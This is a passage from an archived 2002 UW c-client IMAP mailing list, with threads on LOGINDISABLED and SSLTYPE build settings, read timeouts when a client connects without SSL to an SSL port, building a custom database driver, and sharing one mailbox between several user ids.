-0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gACMTtqt014533 for ; Tue, 12 Nov 2002 14:29:55 -0800 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Tue Nov 12 14:29:54 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gACMTrS4019048 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 12 Nov 2002 14:29:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gACMSVpT014468; Tue, 12 Nov 2002 14:28:32 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gACMOvvu025374 for ; Tue, 12 Nov 2002 14:24:57 -0800 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Nov 12 14:24:57 2002 -0800 Received: from flounder.gibbons.com (sdsl-66-80-7-162.dsl.sca.megapath.net [66.80.7.162]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gACMOuRn032473 for ; Tue, 12 Nov 2002 14:24:56 -0800 Received: from gibbons.com (sdsl-66-80-7-180.dsl.sca.megapath.net [66.80.7.180]) by flounder.gibbons.com (8.11.6/8.11.6) with ESMTP id gACMOrV03548 for ; Tue, 12 Nov 2002 14:24:53 -0800 Message-Id: <3DD17FB6.7080608@gibbons.com> Date: Tue, 12 Nov 2002 14:24:54 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: bao To: imap newsgroup Subject: LOGINDISABLED MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi list, I'm compiling UW Imap-2002.RC9 on a RH 8.0. The closest system type to this is RH 7.2. openssl-0.9.6b-29 is installed I have tried "make lrh", "make slx". With SSLTYPE=none, the server can be fired up, run and I can log in. But with the default SSLTYPE=nopwd, I cannot login. The error message is * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS LOGINDISABLED] ... I have been quite happy with using imap-2001a-10 binary version that came with RH 7.3. I don't know what SSLTYPE that version was built with. However, I'm sorta reluctant to use SSLTYPE=none. Would someone please point out what that does and do I really need it?? Any help is appreciated -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Nov 12 15:11:31 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 12 Nov 2002 15:11:31 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gACNBUqt016265 for ; Tue, 12 Nov 2002 15:11:30 -0800 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Nov 12 15:11:30 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gACNBTS4020549 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 12 Nov 2002 15:11:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gACN7SsG011748; Tue, 12 Nov 2002 15:07:28 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gACN52vu016704 for ; Tue, 12 Nov 2002 15:05:02 -0800 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Nov 12 15:05:02 2002 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gACN52Ro011501 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 12 Nov 2002 15:05:02 -0800 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.18]) by mxout5.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gACN52pB012627 for ; Tue, 12 Nov 2002 15:05:02 -0800 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Tue Nov 12 15:05:01 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gACN50um014440 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 12 Nov 2002 15:05:00 -0800 Message-Id: Date: Tue, 12 Nov 2002 15:05:02 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: bao Cc: imap newsgroup Subject: Re: LOGINDISABLED In-Reply-To: <3DD17FB6.7080608@gibbons.com> References: <3DD17FB6.7080608@gibbons.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 12 Nov 2002, bao wrote: > I have tried "make lrh", "make slx". With SSLTYPE=none, the server can > be fired up, run and I can log in. But with the default SSLTYPE=nopwd, I > cannot login. The error message is > * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS LOGINDISABLED] ... SSLTYPE=nopwd, the setting which is compliant with the new IMAP standard, disables the LOGIN command in unencrypted sessions. The LOGIN command still works in encrypted sessions; that is, SSL IMAP sessions (port 993) or regular IMAP sessions (port 143) after issuing a STARTTLS command. You can still use an alternative method of authentication, such as Kerberos or CRAM-MD5, in uncrypted sessions; as long as someone can not discover how to log in as you by watching the traffic as you authenticate. SSLTYPE=unix, the setting which is partially-compliant with the new IMAP standard, allows the LOGIN command in unencrypted sessions but implements encrypted sessions. SSLTYPE=none, the non-compliant setting, allows LOGIN and does not implement encrypted sessions. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Nov 12 16:48:03 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 12 Nov 2002 16:48:03 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAD0m3qt020248 for ; Tue, 12 Nov 2002 16:48:03 -0800 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Nov 12 16:48:03 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAD0m1YT019794 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 12 Nov 2002 16:48:02 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gAD0kh1f004146; Tue, 12 Nov 2002 16:46:43 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAD0huvu012058 for ; Tue, 12 Nov 2002 16:43:56 -0800 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Nov 12 16:43:55 2002 -0800 Received: from ts2.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAD0ht7v009524 for ; Tue, 12 Nov 2002 16:43:55 -0800 Received: from redhook.bynari.net ([192.168.3.111] helo=redhook) by ts2.bynari.net with smtp (Exim 3.36 #1) id 18BmLc-0007Gg-00 for c-client@u.washington.edu; Tue, 12 Nov 2002 19:29:40 -0600 Message-Id: <001601c28aad$bf649310$6f03a8c0@redhook> Date: Tue, 12 Nov 2002 18:43:36 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: Subject: How to set SET_READTIMEOUT MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How to set SET_READTIMEOUT when there is no stream to begin with? I found a problem when attempting to connect to a SSL port (993) but the user never specified the port is SSL so it's trying to connect with a regular connect (like using port 143). The select() never timeout in tcp_getdata() because the timeout is NULL. Shawn -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Nov 12 17:04:59 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 12 Nov 2002 17:04:58 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAD14wqt020745 for ; Tue, 12 Nov 2002 17:04:58 -0800 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Nov 12 17:04:58 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAD14vYT020388 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 12 Nov 2002 17:04:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gAD14JNO037338; Tue, 12 Nov 2002 17:04:19 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAD11cvu069994 for ; Tue, 12 Nov 2002 17:01:38 -0800 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Nov 12 17:01:37 2002 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAD11baL006031 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 12 Nov 2002 17:01:37 -0800 Received: from mailscan-out2.cac.washington.edu (mailscan-out2.cac.washington.edu [140.142.33.17]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAD11bEC013899 for ; Tue, 12 Nov 2002 17:01:37 -0800 Received: FROM smtp.washington.edu BY mailscan-out2.cac.washington.edu ; Tue Nov 12 17:01:35 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAD11Zum018789 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 12 Nov 2002 17:01:35 -0800 Message-Id: Date: Tue, 12 Nov 2002 17:01:36 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: How to set SET_READTIMEOUT In-Reply-To: <001601c28aad$bf649310$6f03a8c0@redhook> References: <001601c28aad$bf649310$6f03a8c0@redhook> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 12 Nov 2002, Shawn Walker wrote: > How to set SET_READTIMEOUT when there is no stream to begin with? Since SET_READTIMEOUT sets a global value, the stream argument is ignored and thus the stream can be NIL. > I found a > problem when attempting to connect to a SSL port (993) but the user never > specified the port is SSL so it's trying to connect with a regular connect > (like using port 143). The select() never timeout in tcp_getdata() because > the timeout is NULL. Didn't the SSL IMAP server presently close the connection? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Nov 12 17:41:43 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 12 Nov 2002 17:41:43 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAD1fhqt021762 for ; Tue, 12 Nov 2002 17:41:43 -0800 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Nov 12 17:41:41 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAD1feS4025280 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 12 Nov 2002 17:41:41 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gAD1eQpT020190; Tue, 12 Nov 2002 17:40:26 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAD1cAvu045970 for ; Tue, 12 Nov 2002 17:38:10 -0800 Received: FROM mxu4.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Nov 12 17:38:10 2002 -0800 Received: from ts2.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAD1c9Rn015536 for ; Tue, 12 Nov 2002 17:38:09 -0800 Received: from redhook.bynari.net ([192.168.3.111] helo=redhook) by ts2.bynari.net with smtp (Exim 3.36 #1) id 18BnC6-0007Uj-00; Tue, 12 Nov 2002 20:23:54 -0600 Message-Id: <003301c28ab5$52e72970$6f03a8c0@redhook> Date: Tue, 12 Nov 2002 19:38:09 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: "Mark Crispin" Cc: Subject: Re: How to set SET_READTIMEOUT References: <001601c28aad$bf649310$6f03a8c0@redhook> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN No, the problem is that the client is the one that start the SSL connection. >From looking at Ethereal with a normal SSL connection, you will see the following... Client Server SYN -> <- SYN, ACK ACK -> SSL Client Hello -> <- ACK <- SSL Server Hello If the user never select "SSL" checkbox and then connect, the server is waiting for a "SSL Client Hello" from the client. For a normal session (port 143) the server send a IMAP response (OK response). Shawn ----- Original Message ----- From: "Mark Crispin" To: "Shawn Walker" Cc: Sent: Tuesday, November 12, 2002 7:01 PM Subject: Re: How to set SET_READTIMEOUT > On Tue, 12 Nov 2002, Shawn Walker wrote: > > How to set SET_READTIMEOUT when there is no stream to begin with? > > Since SET_READTIMEOUT sets a global value, the stream argument is ignored > and thus the stream can be NIL. > > > I found a > > problem when attempting to connect to a SSL port (993) but the user never > > specified the port is SSL so it's trying to connect with a regular connect > > (like using port 143). The select() never timeout in tcp_getdata() because > > the timeout is NULL. > > Didn't the SSL IMAP server presently close the connection? > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > From pinedev@shivax2.cac.washington.edu Tue Nov 12 17:45:04 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 12 Nov 2002 17:45:04 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAD1j4qt021823 for ; Tue, 12 Nov 2002 17:45:04 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Nov 12 17:44:58 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAD1ivS4025372 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 12 Nov 2002 17:44:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gAD1iMNO014922; Tue, 12 Nov 2002 17:44:22 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAD1gXvu010626 for ; Tue, 12 Nov 2002 17:42:33 -0800 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Nov 12 17:42:32 2002 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAD1gWRo016316 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 12 Nov 2002 17:42:32 -0800 Received: from mailscan-out2.cac.washington.edu (mailscan-out2.cac.washington.edu [140.142.33.17]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAD1gW5C026283 for ; Tue, 12 Nov 2002 17:42:32 -0800 Received: FROM smtp.washington.edu BY mailscan-out2.cac.washington.edu ; Tue Nov 12 17:42:30 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAD1gUmZ026550 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 12 Nov 2002 17:42:30 -0800 Message-Id: Date: Tue, 12 Nov 2002 17:42:32 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: How to set SET_READTIMEOUT In-Reply-To: <003301c28ab5$52e72970$6f03a8c0@redhook> References: <001601c28aad$bf649310$6f03a8c0@redhook> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 12 Nov 2002, Shawn Walker wrote: > If the user never select "SSL" checkbox and then connect, the server is > waiting for a "SSL Client Hello" from the client. For a normal session > (port 143) the server send a IMAP response (OK response). And doesn't the server eventually time out when the SSL Client Hello is not forthcoming? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Nov 14 08:09:04 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Nov 2002 08:09:04 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAEG93qt024552 for ; Thu, 14 Nov 2002 08:09:03 -0800 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Thu Nov 14 08:09:02 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAEG91S4017981 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 14 Nov 2002 08:09:02 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAEG6JaQ030628; Thu, 14 Nov 2002 08:06:20 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAEG2bkW090044 for ; Thu, 14 Nov 2002 08:02:39 -0800 Received: FROM mxu5.u.washington.edu BY mailscan2.cac.washington.edu ; Thu Nov 14 08:02:37 2002 -0800 Received: from ms-001.msa ([200.214.151.5]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAEG2Zgt004658 for ; Thu, 14 Nov 2002 08:02:37 -0800 Message-Id: Date: Thu, 14 Nov 2002 14:02:07 -0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jacques Exelrud" To: Subject: New driver implementation content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 X-MS-Has-Attach: X-MS-TNEF-Correlator: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm developing a new driver to connect to an internal database where I = work. I can't easily keep track of what the user have seen or not so every = time he selects a folder I inform that all messages are new. Is there a = better way to handle that ? Also this new driver will get the message body from one source and the = possible attachments from another. I'm having trouble building the = envelope to describe them. I implemented the structure entry from the DRIVER table but without = full success.=20 I'm unable to name the attachments. If exists at least one attachment the body is not shown (it is not = even requested) Any help would be greatly appreciated. Thanks in advance, Jacques -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Nov 14 09:09:07 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Nov 2002 09:09:07 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAEH97qt026795 for ; Thu, 14 Nov 2002 09:09:07 -0800 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Thu Nov 14 09:09:06 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAEH95S4020192 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 14 Nov 2002 09:09:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAEH8CS1023640; Thu, 14 Nov 2002 09:08:12 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAEH4qkW022600 for ; Thu, 14 Nov 2002 09:04:52 -0800 Received: FROM mxu5.u.washington.edu BY mailscan6.cac.washington.edu ; Thu Nov 14 09:04:51 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAEH4ogt017507 for ; Thu, 14 Nov 2002 09:04:50 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id JAA10674; Thu, 14 Nov 2002 09:04:34 -0800 (PST) Message-Id: Date: Thu, 14 Nov 2002 08:50:07 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jacques Exelrud Cc: c-client@u.washington.edu Subject: re: New driver implementation In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 14 Nov 2002 14:02:07 -0200, Jacques Exelrud wrote: > I can't easily keep track of what the user have seen or not so every > time he selects a folder I inform that all messages are new. Is there a > better way to handle that ? You should reserve space for flags in your database, and allow the IMAP session to write the flags via the flags and/or flagmsg driver methods. > Also this new driver will get the message body from one source and the > possible attachments from another. I'm having trouble building the envelope > to describe them. There are two ways to do this: the easy way and the hard way. The easy way is to store, in your database, an RFC2822 representation of the message header and message body. Then, implement the header and text methods and return the respective strings. Let c-client work out the details of how to generate an ENVELOPE and BODY structure, and how to do partial fetching. The hard way is to have the database have the message in various pieces without an RFC2822 representation. If you do this, you must either store, or be able to generate on demand: . a complete representation of the ENVELOPE and BODY structures, including exact size counts . all possible BODY[...] texts including arbitrary substrings, and return the exact texts In effect, you must implement all possible forms of IMAP fetch as queries in your database, and c-client will not help you at all. Your message indicates that you are doing it the hard way, and as you have discovered, the hard way is very difficult. I do not know of anyone who has succeeded in doing it the hard way. Microsoft Exchange tried to do IMAP the hard way, and had many problems with getting it to work according to specification. Eventually, they gave up and did things the easy way, and now Exchange works properly. Of course, since they don't use c-client, they had to duplicate what c-client does. But it was still much easier than doing it the hard way. If Microsoft, with all its resources, found the hard way to be too difficult, you should consider whether you really want to try to do it the hard way. From pinedev@shivax2.cac.washington.edu Fri Nov 15 05:33:57 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 15 Nov 2002 05:33:57 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAFDXvqt000649 for ; Fri, 15 Nov 2002 05:33:57 -0800 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Fri Nov 15 05:33:56 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAFDXtYT018097 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 15 Nov 2002 05:33:55 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAFDX4g2090034; Fri, 15 Nov 2002 05:33:05 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAFDTmkW056952 for ; Fri, 15 Nov 2002 05:29:48 -0800 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Fri Nov 15 05:29:48 2002 -0800 Received: from maili.wendysi.com (natip.wendys.com [216.87.243.242]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAFDTlRn022564 for ; Fri, 15 Nov 2002 05:29:47 -0800 Received: from PNEWL0113795 (unknown [10.255.231.141]) by maili.wendysi.com (Postfix) with ESMTP id BAC22A8025 for ; Fri, 15 Nov 2002 08:29:40 -0500 (EST) Message-Id: <002b01c28cab$095273d0$8de7ff0a@WENDYSI.COM> Date: Fri, 15 Nov 2002 08:29:33 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Phil N" To: Subject: Mailbox shared by multiple ids MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is it possible to have several ids share the same mailbox structure? I can alias the additional ids so that incoming mail is placed in the correct /var/spool/mail/[real_userid] file. I set the two account to have the same home directory and don't see the 